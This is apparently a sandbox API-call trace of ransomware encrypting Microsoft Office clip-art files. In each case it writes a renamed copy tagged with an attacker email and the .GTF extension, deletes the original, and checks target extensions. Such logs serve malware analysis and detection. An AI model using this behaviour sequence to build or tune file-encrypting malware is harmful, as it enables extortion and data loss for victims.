	[0082.046] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.046] SetEndOfFile (hFile=0x380) returned 1
	[0082.046] CloseHandle (hObject=0x380) returned 1
	[0082.047] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.048] SetEndOfFile (hFile=0x378) returned 1
	[0082.048] CloseHandle (hObject=0x378) returned 1
	[0082.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1
	[0082.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.049] lstrlenW (lpString=".doc") returned 4
	[0082.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.049] lstrlenW (lpString=".docx") returned 5
	[0082.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.049] lstrlenW (lpString=".pdf") returned 4
	[0082.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.049] lstrlenW (lpString=".xls") returned 4
	[0082.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.049] lstrlenW (lpString=".xlsx") returned 5
	[0082.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.049] lstrlenW (lpString=".ppt") returned 4
	[0082.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.049] lstrlenW (lpString=".zip") returned 4
	[0082.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.049] lstrlenW (lpString=".rar") returned 4
	[0082.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.049] lstrlenW (lpString=".bz2") returned 4
	[0082.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString=".7z") returned 3
	[0082.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString=".dbf") returned 4
	[0082.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString=".1cd") returned 4
	[0082.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString=".jpg") returned 4
	[0082.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString=".doc") returned 4
	[0082.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString=".docx") returned 5
	[0082.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.050] lstrlenW (lpString=".pdf") returned 4
	[0082.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString=".xls") returned 4
	[0082.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.050] lstrlenW (lpString=".xlsx") returned 5
	[0082.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.050] lstrlenW (lpString=".ppt") returned 4
	[0082.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.050] lstrlenW (lpString=".zip") returned 4
	[0082.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.050] lstrlenW (lpString=".rar") returned 4
	[0082.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString=".bz2") returned 4
	[0082.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.050] lstrlenW (lpString=".7z") returned 3
	[0082.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.051] lstrlenW (lpString=".dbf") returned 4
	[0082.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.051] lstrlenW (lpString=".1cd") returned 4
	[0082.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68
	[0082.051] lstrlenW (lpString=".jpg") returned 4
	[0082.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.051] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.051] lstrlenW (lpString="BD00173_.WMF") returned 12
	[0082.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.051] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=16180) returned 1
	[0082.052] CloseHandle (hObject=0x378) returned 1
	[0082.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220
	[0082.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.052] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.052] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.052] GetLastError () returned 0x0
	[0082.052] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3f34, lpOverlapped=0x0) returned 1
	[0082.055] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3f40, lpOverlapped=0x0) returned 1
	[0082.056] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.057] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.057] SetEndOfFile (hFile=0x380) returned 1
	[0082.057] CloseHandle (hObject=0x380) returned 1
	[0082.058] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.058] SetEndOfFile (hFile=0x378) returned 1
	[0082.059] CloseHandle (hObject=0x378) returned 1
	[0082.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1
	[0082.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.059] lstrlenW (lpString=".doc") returned 4
	[0082.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString=".docx") returned 5
	[0082.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.060] lstrlenW (lpString=".pdf") returned 4
	[0082.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString=".xls") returned 4
	[0082.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.060] lstrlenW (lpString=".xlsx") returned 5
	[0082.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.060] lstrlenW (lpString=".ppt") returned 4
	[0082.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString=".zip") returned 4
	[0082.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.060] lstrlenW (lpString=".rar") returned 4
	[0082.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString=".bz2") returned 4
	[0082.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString=".7z") returned 3
	[0082.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString=".dbf") returned 4
	[0082.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString=".1cd") returned 4
	[0082.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString=".jpg") returned 4
	[0082.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.060] lstrlenW (lpString=".doc") returned 4
	[0082.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.060] lstrlenW (lpString=".docx") returned 5
	[0082.060] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.060] lstrlenW (lpString=".pdf") returned 4
	[0082.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString=".xls") returned 4
	[0082.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.061] lstrlenW (lpString=".xlsx") returned 5
	[0082.061] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.061] lstrlenW (lpString=".ppt") returned 4
	[0082.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.061] lstrlenW (lpString=".zip") returned 4
	[0082.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.061] lstrlenW (lpString=".rar") returned 4
	[0082.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString=".bz2") returned 4
	[0082.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString=".7z") returned 3
	[0082.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.061] lstrlenW (lpString=".dbf") returned 4
	[0082.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.061] lstrlenW (lpString=".1cd") returned 4
	[0082.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0082.061] lstrlenW (lpString=".jpg") returned 4
	[0082.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.061] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.061] lstrlenW (lpString="BD05119_.WMF") returned 12
	[0082.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.656] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=17236) returned 1
	[0082.656] CloseHandle (hObject=0x35c) returned 1
	[0082.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220
	[0082.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.678] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.687] GetLastError () returned 0x0
	[0082.687] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x4354, lpOverlapped=0x0) returned 1
	[0082.689] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x4360, lpOverlapped=0x0) returned 1
	[0082.690] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.690] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.690] SetEndOfFile (hFile=0x31c) returned 1
	[0082.691] CloseHandle (hObject=0x31c) returned 1
	[0082.692] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.692] SetEndOfFile (hFile=0x35c) returned 1
	[0082.693] CloseHandle (hObject=0x35c) returned 1
	[0082.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString=".doc") returned 4
	[0082.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString=".docx") returned 5
	[0082.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.694] lstrlenW (lpString=".pdf") returned 4
	[0082.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString=".xls") returned 4
	[0082.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.694] lstrlenW (lpString=".xlsx") returned 5
	[0082.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.694] lstrlenW (lpString=".ppt") returned 4
	[0082.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString=".zip") returned 4
	[0082.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.694] lstrlenW (lpString=".rar") returned 4
	[0082.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString=".bz2") returned 4
	[0082.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString=".7z") returned 3
	[0082.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString=".dbf") returned 4
	[0082.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString=".1cd") returned 4
	[0082.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.694] lstrlenW (lpString=".jpg") returned 4
	[0082.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString=".doc") returned 4
	[0082.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString=".docx") returned 5
	[0082.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.695] lstrlenW (lpString=".pdf") returned 4
	[0082.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString=".xls") returned 4
	[0082.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.695] lstrlenW (lpString=".xlsx") returned 5
	[0082.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.695] lstrlenW (lpString=".ppt") returned 4
	[0082.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString=".zip") returned 4
	[0082.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.695] lstrlenW (lpString=".rar") returned 4
	[0082.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString=".bz2") returned 4
	[0082.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString=".7z") returned 3
	[0082.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString=".dbf") returned 4
	[0082.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString=".1cd") returned 4
	[0082.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68
	[0082.695] lstrlenW (lpString=".jpg") returned 4
	[0082.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.695] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0082.696] lstrlenW (lpString="BD09664_.WMF") returned 12
	[0082.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.696] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7966) returned 1
	[0082.696] CloseHandle (hObject=0x35c) returned 1
	[0082.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220
	[0082.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0082.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0082.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.696] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0082.697] GetLastError () returned 0x0
	[0082.697] ReadFile (in: hFile=0x35c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1f1e, lpOverlapped=0x0) returned 1
	[0082.698] WriteFile (in: hFile=0x31c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1f20, lpOverlapped=0x0) returned 1
